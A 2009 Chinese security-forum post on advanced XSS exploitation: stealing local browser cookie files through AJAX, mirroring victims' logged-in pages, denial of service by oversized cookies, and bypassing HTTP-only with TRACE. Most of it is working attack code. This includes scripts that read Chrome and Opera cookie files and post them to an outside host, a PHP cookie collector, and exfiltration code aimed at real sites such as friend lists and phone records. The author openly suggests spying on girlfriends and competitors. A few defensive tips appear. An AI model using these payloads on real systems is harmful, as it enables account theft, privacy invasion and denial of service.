XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
* g1 Q$ \5 N1 [本帖最后由 racle 于 2009-5-30 09:19 编辑
! k1 ^, V$ u7 R, U- q* f  k
" e* F: |8 c4 Y6 v& nXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
8 [7 L9 l* a' B3 HBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权



1 K8 [/ \  o8 `-------------------------------------------前言---------------------------------------------------------


- `8 {1 p; {$ H* C5 {4 N' Z- S本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
! m3 Z' h1 p0 A8 h) \; F( K

3 |  Q! p: u+ P如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
5 P& v& ^3 J, v* [8 I" F6 hhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
+ o9 k: {4 r& J# j$ whttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
( L. C& X1 a/ @9 Vhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
8 z# n- g) h" J! X1 L& A: t
, }* O9 |7 \' q/ `5 e


1 L; m$ v7 Z3 D- ~4 K如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
2 w( N7 i3 r$ y) b2 W4 l
9 |7 u, A7 M& f2 t+ k/ u希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

. j( D3 S: w- x- G, i* A如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

+ l+ t9 g9 C1 g! a/ p( w1 DQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
% m% U4 u' ^9 w' J  w复制代码------------------------------------------介绍-------------------------------------------------------------
# Q+ H. B- V* G8 S5 e# I
1 a  i9 n8 i2 \7 z7 O& `什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
; c8 p: S; c- A7 H# z

$ O; j4 w5 ^8 q7 r
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
6 i6 W) Y$ V8 W

* K5 K/ S4 k6 O, ~7 Q+ M1 H
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
+ W4 F. @, I9 D: b; f我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

4 o$ H( _( r% E  l% v, N  Z1 B! k3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
3 c% q6 S& ~* r* }
4        XSS漏洞在输出和输入两个方面怎么才能避免.

& X; F2 J. _# M' j

------------------------------------------研究正题----------------------------------------------------------
; _0 y  j5 ?( s! `3 m  b, W2 m
, ]4 A' D$ h3 q8 X: y
: o) q% K1 T; [. b
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
) t3 n4 [5 l' X- x6 {1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
6 I/ ]& S: l0 ~9 X" H" ?( M; Y% g2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
+ j: H+ `7 O3 ]3 G; m
& S" D! c' ]' v- J/ j
8 {! t* v) m6 P  A; i: g& [) i- D% k# }
' U! j6 v( a/ a& W! s) C

' c+ U( l" H% M9 [8 @$ F(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
# {5 g: P& |3 e# q$ ]
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
: B, T0 P  {* [+ O

1 s- Z! @2 T0 z+ D/ `, H% C
. v* I: K- C9 t" w0 ^+ B2 l    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

2 d7 H6 d$ {3 J+ f
. a5 I5 n7 O6 H3 `2 @) u+ R8 r
8 P1 A$ M( k1 P7 ^, {% X    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

' l( T( ?0 A* R0 N1 x    function $(x){return document.getElementById(x)}
! h3 `# K" R' H( [
3 F( c- Z% f; X/ g
, Q" l8 X/ o4 X( c. P
5 _  g% Z6 y; Q& _    function ajax_obj(){
* e/ T. Q7 z; F( I( _# J' X: N
    var request = false;
, x' z6 `# h2 {7 p* M. ^; s, J
    if(window.XMLHttpRequest) {
% Z( Y) a3 {, ?: h% W
3 ]& l( H+ Z  }    request = new XMLHttpRequest();
: ?' d$ h/ L+ k" R2 o! C/ o  A1 \0 ]; z
    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
9 r6 c" U) m& U: Y7 G


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: q. q% O0 a4 v; J$ D& B& n
    for(var i=0; i<versions.length; i++) {
; |, B/ J2 R% M% w0 u9 U
4 O; ~0 U; C  N( v/ u7 d, P* T- F    try {

# ~+ B/ [7 A) _  q    request = new ActiveXObject(versions);

4 E# j9 u9 _/ \0 t    } catch(e) {}

    }

    }
; `! \8 ?! e* P7 f6 l" U
9 g. ^' M/ W8 _& T2 G+ J. m  R) R    return request;

    }
  T: k' ?+ H% y+ |& [/ P
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
; \6 g1 `9 ^+ V  l( C% ]. \, Q  ~% y" b
! |9 J: c- l+ \" s; y  |    _x.open(_m,action,false);
" {% |5 M& I4 c( q' Q) a
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
+ W5 _# r- G. N& b
" P( `$ i; Z0 F2 F( f    _x.send(argv);

, \" x3 O# e# i: E    return _x.responseText;

1 {& c& R$ R4 K* D; f3 w  F6 q    }
; C8 }, D2 C. p) q/ x' O9 l
6 m& J9 N. g, ?! h' E
3 I, \7 u2 d' d3 I$ `0 _8 x
9 h. y( t6 a. J/ y6 h) n, X3 Q, w    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
& K, F7 f& [0 c0 y0 S# e+ b2 ~

& Q1 Y* J5 h; R7 Z
7 z2 w- h  K# k- |) S" @2 _    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
5 G" D' I+ R" n1 p, p: D6 [/ i


    function ajax_obj(){
' b- z& ]0 A! H
    var request = false;

    if(window.XMLHttpRequest) {
6 h  e; h& U$ G; V$ b) @/ F
    request = new XMLHttpRequest();
# K; l; ?' v6 ~4 L+ R% o3 S5 x2 z% T& x
5 _0 a! P; a% L( L1 a' d    } else if(window.ActiveXObject) {
& F* r: ]/ r- ]  @7 c; }0 G
1 J8 c# n+ B: T# ~3 ?/ e    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
# z' Q. m, @5 n" v4 s! h
% v1 p; y5 i9 Z# Y; b( N+ t  F
  U4 s7 Z$ h0 D$ ?8 q
2 b+ u. c, ]$ p2 S& F6 E8 u    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

: f" X9 N; O, E) g4 d; t    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);
0 ^, S( Q8 N; e# f! _* ^8 s& l
    } catch(e) {}

$ I# R6 Y! M0 Z. Q    }
, B0 O0 b0 c  I3 y8 C" j( \% }) C
% }& K3 K2 {4 y0 e5 X- e8 {0 C    }

    return request;

, f; ?9 V& M# t% W    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
) `$ e" ^5 B, j  E
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

0 T/ N2 O8 m+ `    _x.send(argv);

" {4 N' U7 f  R1 P* D5 m5 d    return _x.responseText;

    }



3 _( ?% ^3 P: F5 _, U- s4 K. k    var txt=_7or3("GET","1/11.txt",null);
: T2 J" |- H6 O& f7 _% f
    alert(txt);

3 S' j# B2 T. S4 I, Q# M' Y0 j* q
* ~0 K0 s$ y3 I# s, n! r
/ G; f" c4 n; S5 t    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
" Q4 X' Y) V) A0 \- R2 Q

% |# n2 S: X1 _" \3 ^9 W8 `6 Y4 O
9 ^0 \  a4 c" F4 `" H' tChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
! e- X$ R9 e) H
7 y3 F: T! E9 V, f. f

$ D6 j& \$ S2 O- J5 I* x) R1 {<?   
9 x9 p# m" O* I, B. i: k. v( Y
# X8 T' [; M* z/ ^! K7 E5 k/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

4 H* _/ }3 D- N2 X2 [     www.inbreak.net   
* H  ^: R  g# C3 h
! W) B1 w2 {" p) g& [9 d+ M. R     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
2 Y8 ]2 X* p. p7 @
) J3 u8 D8 Z. l$ \& n1 D; R% ]header("Content-Disposition: attachment;filename=kxlzx.htm");   

$ t# r( W: Q. mheader("Content-type: application/kxlzx");   

6 V/ J; |6 Y' P2 r/*  
9 I7 j; Q) d/ f. R: p8 ?" v
     set header, so just download html file,and open it at local.  

4 V, b0 y/ c% X$ B8 z*/  

, p) ~9 y! }/ a: \5 A  L8 R?>   
! j8 e) `& P. J1 [; q+ |7 b: k
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
' G$ K# d2 t4 }6 B
6 ^) H) |5 l, W' h     <input id="input" name="cookie" value="" type="hidden">   

</form>   
" i2 F, u& S" e' K  ?! s9 j
<script>   
6 |! k* s3 L3 F( N, x7 E
4 k. y# G9 T4 |  v' Kfunction doMyAjax(user)   
" J0 U3 ^6 ?, m6 E
/ l! D( b* z1 U. M' o{   

var time = Math.random();   

0 t/ O5 W( y5 u4 B3 N/*  
' Z1 ^) {* H$ k0 p# C
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

+ |  M/ ^7 Y3 {  l9 ^: W$ _and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
5 m* V  [6 P/ Y- \- H
and so on...  
( W9 X; z. y# _8 }- L/ p1 W
4 \6 W2 q0 n# K*/  

; I/ [5 G) r6 H/ q: S4 |$ X" Y4 {var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
, V: ]% I- G$ _9 c
/ J. q& ]* `7 U# H% P$ f   
  R3 B6 X( O6 D
" W0 T% l; s2 K% c8 `8 Y0 M/ QstartRequest(strPer);   

) W  d/ T8 B- t9 C6 V: A7 T+ X

* L& @6 _" T6 Y5 z7 o( p' |}   

   
. m; f4 q; [" e  A' Y: u# N" l
function Enshellcode(txt)   
0 t, ~6 e# \( V# @0 N4 d  M
  o. q% f$ _3 f9 g9 g{   
& I. h/ ~6 T4 S9 D$ p0 ~
/ z' D  J% R+ a) @& K5 l3 O  Jvar url=new String(txt);   
& ~7 \& ^6 E& [5 m( c" h
var i=0,l=0,k=0,curl="";   
  B: [5 _7 j# I
6 q' Y6 K  P$ q! [0 J1 Xl= url.length;   
! |0 e2 D9 N7 ^7 y8 k
4 J/ P: `+ C5 d* n0 w' d& zfor(;i<l;i++){   
! ]! k* a/ }, `0 }
k=url.charCodeAt(i);   
0 p. s3 @8 B* I5 o, v& f$ O/ ~
4 ^3 Q) f' Y1 @- y  S9 Hif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

' P& c- s. f9 {: ^% C6 u5 Jif (l%2){curl+="00";}else{curl+="0000";}   
- S* ~! B+ t! x' y
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

}   
/ m  h% A) v  i/ z; z& T
   

* X' _' W" P, j% {* x   

9 m* ^4 d: t" G9 F; yvar xmlHttp;   
/ t! J& P: X$ l# M
4 J" O( J5 C2 F6 Z7 v. X6 Ffunction createXMLHttp(){   
  s. T1 A# U& X0 d
     if(window.XMLHttpRequest){   
$ t5 a6 z+ D8 z4 p
xmlHttp = new XMLHttpRequest();           

! e# D. V2 y) g$ o- l1 r8 v1 e     }   
1 b: I- [. v: b  l0 Q. h
4 y( l: U% w. ^. k/ A/ b5 R     else if(window.ActiveXObject){   
9 \9 X9 e3 c0 v% M9 C. X' v
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
1 ?1 p4 Y% K2 I' \& L3 t
     }   
8 y) h7 b. X1 I: P% s
( _2 W7 U$ u' g/ n& D}   

   

, y) @! _8 i& P8 C7 o# `# H2 hfunction startRequest(doUrl){   
- A* h- M2 A4 Q) {; x  T- _; L
1 e# y: [7 }5 \   
- t3 U  b: u3 _7 w7 I- G' A
& {& ^! m5 t7 K  d     createXMLHttp();   
9 N0 W) N, m  h  r3 {& }% [7 l( r" K
  j4 H  v) j* l5 n

) s( c7 o; S: Y6 H% Y1 k5 b     xmlHttp.onreadystatechange = handleStateChange;   
& F; p+ X% ]/ H' x9 t4 `+ L1 D' ]


4 G3 t- S  u7 v; c$ R/ X     xmlHttp.open("GET", doUrl, true);   
+ N& q$ P8 E! ~+ `
7 D# G; E: t. X8 m5 }% A& D

5 Z- Z! w& R3 S# R' d     xmlHttp.send(null);   


5 K8 M7 y# _& G& o6 Z% B, p

' Y; ~3 z( T& ]) r1 t
}   

   
# F! [/ D; r2 ]  I
! S! e5 T7 Z# `function handleStateChange(){   

. O: w, o& `2 `6 M$ Q0 E9 U     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

0 m& Q& }  K+ X* F8 d, v( L6 A     }   
! G3 I/ w1 b9 Q! e" W# I* F4 j9 r
% R0 B0 }$ J+ E) j+ E}   

* o  M8 C0 _! \; B6 ^8 e4 n   
( W8 I# R; ^7 \
9 o) W# _7 Q( e) }" d# ^: [* {   
7 p4 R# E/ v  O/ }' P/ x
  ^; m( n: u4 ?0 hfunction framekxlzxPost(text)   

. f8 ]/ D5 G! z3 O# g- j# u& {, R{   
4 o4 ]* C$ X6 L! l1 p
     document.getElementById("input").value = Enshellcode(text);   
( I! I+ [: J' K6 N4 _. o' S5 c
- t, Y, ^" V! E3 p     document.getElementById("form").submit();   

; |* D0 x! q+ P/ f6 C: B5 X}   
/ t0 l9 S  W- B/ V* P% L6 h3 B0 a
0 s% s9 Y# ?4 W1 C& j+ D; ?" U   

9 R8 P: E8 `6 D7 d# R/ O1 adoMyAjax("administrator");   
, ~6 W! N7 Q1 f+ B$ h+ p/ c
   
$ [/ J* I6 ^1 }) }' T7 W
</script>
2 o% r; a+ O$ |% [1 b# K复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
5 h: u$ Q8 n6 v; @2 C
var xmlHttp;  
" ]6 ?: ^" }. z* M$ P
# n4 S) ^/ \% U& f. x+ k9 mfunction createXMLHttp(){  
  Z$ {7 E5 I1 K8 e
     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

+ ~9 L2 s. y8 o! e- |$ Y' Q     }  
1 q9 ~! u% V4 [  n5 ]! c) @
     else if(window.ActiveXObject){  
$ h0 L7 f3 x, a9 _5 Z' j
( P: z( R' H2 b2 f         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
. ~% q& d' c- ?( d& N6 u( ^- O$ s
; z$ l3 o9 r" t4 j9 e     }  
5 _; I8 ], g( H6 v. E" }. X9 }
}  

   
! p, C, ?+ N) h3 u! ]5 _( E, ?
  ]  n; T/ ^* }7 L7 s7 kfunction startRequest(doUrl){  
. {- }, N6 E) a. P
           

/ Q0 F6 R6 m- w" N3 }     createXMLHttp();  

      

( L1 {" B, _! k/ E/ H: G8 d     xmlHttp.onreadystatechange = handleStateChange;  
* Q' P) Y1 Y- H: ^# |
! k/ x5 H  V- F- h) k      
0 H) V* Q  \- s) V1 x
" l/ C& }6 s, C     xmlHttp.open("GET", doUrl, true);  
& a7 q7 O" u# z8 X( [
      
( D$ Z5 ?; P* q; r9 j
7 i2 l/ ^6 `4 f- o% w' |3 Q     xmlHttp.send(null);  

8 N0 j+ l& c9 i/ R4 L6 h) H      
* ?' P0 R0 y) R5 d1 Q
  ~; c+ w4 d: K9 o7 d; {      

* i; e  F3 J0 F( |  M}   
  F0 L7 c9 z! n  d- |/ r
+ O( F2 \1 `4 j- T; L   

function handleStateChange(){  

$ r8 y% f- N5 z2 g0 M     if (xmlHttp.readyState == 4 ){  
6 w8 |1 d, ~5 n" N& a
4 \* w4 i0 w$ U  I             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
: Z" W% M2 r# L! Y7 j& b  v$ Z
               
1 k0 U% t1 @% w1 b
     }  
' K7 |* r9 R$ F8 k0 G+ S
2 H8 Z! V# c0 O}  

   
  c( I; }- z- r% g6 C9 D9 v6 }2 Y8 y
function doMyAjax(user,file)  
$ V2 W: v+ i5 I3 m2 o
{  
, I& h: v3 D8 l: t( z6 Q* t" ~
         var time = Math.random();  
" Q4 s7 O7 b- i; M
           
. _* p3 P& r4 ?
9 x6 }1 Q; y% j2 _- T         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

' H! y& ?" R2 }: F           
( Y& K: R/ Q! E$ V; |
7 j7 r# k6 Z% S9 c         startRequest(strPer);  

      

}  
9 d' W+ P+ `, [( |2 R0 w' n
! O. _& f' N8 e" S! Y& z   

function framekxlzxPost(text)  

{  
8 B& o. R/ X# i, d& y% m1 N
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
8 }4 D/ `! h8 i: ^" x" B5 J# @
" o1 k9 X; x9 F& {# W1 H6 d}  

   

4 G3 e) n# J8 }doMyAjax('administrator','administrator@alibaba[1].txt');  

   
1 g6 j4 L1 Z1 i: M
) W& R1 g) A/ n, T3 O- J</script>
6 o" y& B1 f+ N/ }7 |" |

  {, S: \) x0 z* {


7 s  E) e, @% v8 ~# ^a.php
8 d6 z" _- Z( l8 I/ t9 X

/ W5 \8 n: ^8 Q" b( O
<?php      

' h: Z4 [" m8 M9 K   
2 r, R( R* m8 ?( S) H( C- i
7 v' G7 X# W+ f7 A; u0 c$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
6 G1 x& n- q9 {9 ^' K' m# l
# z# d: }+ \5 s4 Y1 \$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
, p, M3 S, c2 n" q, X; {! f
  

1 h5 ~% N  p' g) y6 M$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
3 |: v; d0 z' p* F9 I
; f; f6 h. H6 B3 N+ y$ w# H5 ^. k! }# Lfwrite($fp,$_GET["cookie"]);      
) \. `5 r; V; j
fclose($fp);   
# y6 {* N+ M+ X' }- N
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
: _. G1 p, g; x( Z- t0 g. E5 [9 u
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

' Y# d6 }; Q% Q9 A4 n! s//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
/ e, ^4 p% ?6 S9 b( p
; u& L! }7 l3 N4 c: v2 Ovar image = new Image();
$ l: M4 ^3 p# G1 C/ ^/ T
  D1 @& f* s5 c: pimage.style.width = 0;
/ E6 s& x0 F! f6 a
; J: F- n) c4 n' `image.style.height = 0;

image.src = s;

& E, j( G6 t3 L}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
3 R+ v% s1 C2 A复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
' k& s# s" y7 o这里引用大风的一段简单代码:<script language="javascript">
+ S  d# Z+ u0 p; {+ F
" d) d! J) a9 W4 m" w, w4 t6 Pvar metastr = "AAAAAAAAAA"; // 10 A

var str = "";
% T, }, x/ Q9 i6 b6 A& W, L
while (str.length < 4000){

    str += metastr;

/ R: \0 e+ G' w' N0 o' I0 d}

; x. c/ d; w4 |) c2 U# C" j

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
$ R9 e2 H- ]1 {; x) K0 K
</script>
" Q/ ^/ I8 H6 F5 P% {, ]' B" Z  H* ^
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ x+ |8 ?7 w: f% T8 ~2 H/ `server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

% O" T5 p, i. _假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* m- ]2 R* A) _9 C- h9 o- Z: O: f攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


' G! @* p. b9 {) _8 z
( j5 t) U7 B4 a2 H8 L

3 ?# X# l( s8 E1 N
(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
) d7 ]" Y  ]& {! X) C* z6 y
# o4 z' R* ^$ R<!--
' H( k9 z. q6 Y
function normalCookie() {
& ?. l4 q; Q- S  M! c6 h
document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

- k; h/ K& i) F( l}


9 D, I( K% S# P
9 [7 V: N( o' o9 ?

* S' O1 |/ A% v! x: K4 L( D, x: u* {function httpOnlyCookie() {
3 _# D3 C3 e( s  J* g) }) w
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

8 q' V) T8 }+ V* z  d- Dalert(document.cookie);}



0 P9 Y" V0 Z. ^1 |4 b/ f//-->
+ d% ?3 T& S& u5 _0 C: v7 k0 L
9 J" B8 m* l1 \2 j* G5 O</script>
4 d0 d. y* L) t4 `* G$ j

, y# L3 t( P( @
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
4 q  i# W4 I" M4 y8 i% R4 U3 k; |
8 U1 w! ^1 L: L; I1 N

5 o: ^# h7 T2 W2 u9 r( b' svar request = false;
: T$ C1 C& [$ ^
        if(window.XMLHttpRequest) {

( w# z# k9 B  c- x- u4 r            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
1 Y! C$ ~: k$ J6 O
                request.overrideMimeType('text/xml');
# Y$ ^- k; P' g8 Q, d
/ W* o1 o# `( j# S3 a# S5 h: T            }

6 t: }0 o5 s! k# g9 Y        } else if(window.ActiveXObject) {
$ u: X% `% P2 T. j
: B# B. r5 L# |; u4 c            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
% d) \, O5 s! H/ P
3 x5 Z8 V1 I, }! N: G8 w  h3 g                try {
& Q. I- h" E( U0 A
                    request = new ActiveXObject(versions);
' G3 A1 V+ k5 ]- |' q# Z
                } catch(e) {}
. s8 v$ i# |0 S
  Q- [: z" g- k1 H) D9 P" L            }

' t# ?, E0 m5 }, O        }

8 l, R5 U$ Z1 b5 J1 qxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

: Y  {2 _9 K+ I& F3 C2 t# I  ExmlDoc=xmlHttp.responseText;

( Q* |7 t: O) m) _# g. malert(xmlDoc);
+ h, M' F& S* z/ I$ U
+ C5 e( f% u) I- O: X; g  a# M- {</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
0 a; f4 Q+ A- K; R+ Q6 F, K
8 d0 x# y, O3 P' Q/ ]XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
5 o% y* x5 S8 N
! x9 U  s1 d0 u( h/ |$ I3 u% l& q/ ~XmlHttp.send(null);
9 g; W: D5 A- ?2 F' O- q
var resource=xmlHttp.responseText
, ?( s  H& C# E! v  o- E7 b( r
resource.search(/cookies/);

......................

4 B! d( ]1 C# n6 i</script>
9 e- ^" q$ U( s- m/ K7 O4 Z
( ]( F& a4 \! ^

3 i' B: g. e# Y; X1 a: |2 A
( L  ^" [" U8 R+ \1 F1 n
; U/ Z" J' x2 t& ~1 L如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
$ B1 h! J" t- E$ p4 N) i
* J! Y+ l0 v2 e" g" b0 I1 S[code]

RewriteEngine On
2 w$ q: O( @( ~! E: x
: w8 d, k! N! s+ VRewriteCond %{REQUEST_METHOD} ^TRACE
9 `  _7 H' |  L4 A
4 E3 ^/ R- z" m5 S  {) e% N1 b6 J5 ?RewriteRule .* - [F]
" ?: y+ }$ i1 l+ I8 w) v

2 m% Q4 @7 [) _
